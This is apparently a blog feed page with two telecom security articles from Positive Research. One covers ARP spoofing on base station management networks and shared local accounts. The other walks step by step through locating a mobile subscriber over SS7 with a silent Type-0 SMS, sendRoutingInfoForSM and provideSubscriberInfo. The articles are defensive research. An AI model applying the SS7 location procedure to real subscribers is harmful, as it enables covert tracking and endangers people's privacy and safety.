What happens if an intruder gets access to a network segment? Is he able to capture data in this case? How will he do it?

At present, each device has an IP management interface and an Ethernet port to connect to a network. Base stations are no exception.

Upon intrusion into a network, an attacker can use common ARP spoofing to catch data that technicians use to manage network devices.


An example of an MML session shows how simple it is.


As you go further, you will understand it really is a problem. After getting access to one base station, it is possible to break into other stations, since management IP addresses are freely routed at least within one network.

Note: a mobile provider has hundreds of base stations in each city. What if it loses connection with one of the stations or has to execute works on site? For these purposes, there is a local account on a device. Such an account is usually equal for all devices, which means that an intruder can get control over hundreds of devices.

A telephone network used to be an extremely isolated and controlled system. It seems that times have changed. The question is, whether telecommunication companies realize that.


Author: Dmitry Kurbatov, Positive Research  

Search and Neutralize. How to Determine Subscriber’s Location

$
0
0

Mobile networks can be attacked though multiple vectors. In this article, we will consider an attack that allows detecting a cell where a subscriber is located. You see, I do not use more common measure units because the size of a cell is not permanent. In cities, a cell site may have a range of hundred meters, and in rural areas, the range is about several kilometers.

Everything should be in a right way to guarantee successful performance of an attack:

  • Access to SS7 should be provided
  • There’s a possibility to form any SS7 messages (the MAP protocol is required for the attack)
  • There is no filtration system for incorrect or suspicious SS7 messages (almost 85% providers all over the world do not implement such system)

During an audit for one of our clients, we detected strange SS7 messages that generated originating SMS messages received every now and then. A part of the tracing is shown in figure 1. First of all, each following message contained the receiver’s node address incremented by one, which is to say that all the address range of the network was being scanned. Another odd thing was that the sender's node address was Greek (2), but the telephone number from which the SMS messages were sent was Israeli (1). And in the third place, the text of the SMS message contained an exact address of the destination node (3).


Figure 1

The SS7 traffic was banned, and the Greek telephone number became an object of a close analysis. We composed a Type-0 SMS message and sent it to this mobile. A Type-0 SMS message is also called a ping SMS. Such message is not displayed on a phone screen and neither is it saved in a list of received messages. Moreover, the message updates location data in the VLR database. Now VLR contains the current value of the sector, where the cellphone is located and we have an opportunity to determine subscriber's location rather accurately.

We made our first move, but we don’t have any results yet. Information about the subscriber's location is updated, but it's stored deep in the operator's equipment. So we continued our research to get the data. At the next step, we composed a signaling message sendRoutingInfoForSM (the telephone number of the subscriber serves as the parameter) and sent the message to the operator's network.
The sendRoutingInfoForSM signaling message (figure 2) has a very interesting feature: one does not need equipment addressing to send this message successfully, subscriber's number is enough for the message to reach its destination. The reply message contained confidential information: address of the Home Location Register (HLR) (1), the International Mobile Subscriber Identity (IMSI) (2), and the MSC/VLR address (3), where the subscriber is located.


Figure 2

So now we know the subscriber's IMSI and the commutator address where he or she is located. Moreover, we updated information about the cell that is used by the subscriber. It's high time to get information out of the operator. We sent the provideSubscriberInfo message to the MSC/VLR address that we had obtained before; the IMSI served as the parameter. We received the reply message (figure 3) and picked out the cell identifier.


 Figure 3

Now we only have to determine the subscriber's location on a map. There are many map services available on the Internet that can show us the location of a base station according to its identifier. We can use one of them...

Not surprising at all — Greece, Athens, Nikaia (figure 4). However, we still don't not know why he or she needed to scan our network.


Figure 4

Author: Sergey Puzankov, Positive Research

Viewing all 198 articles
Browse latest View live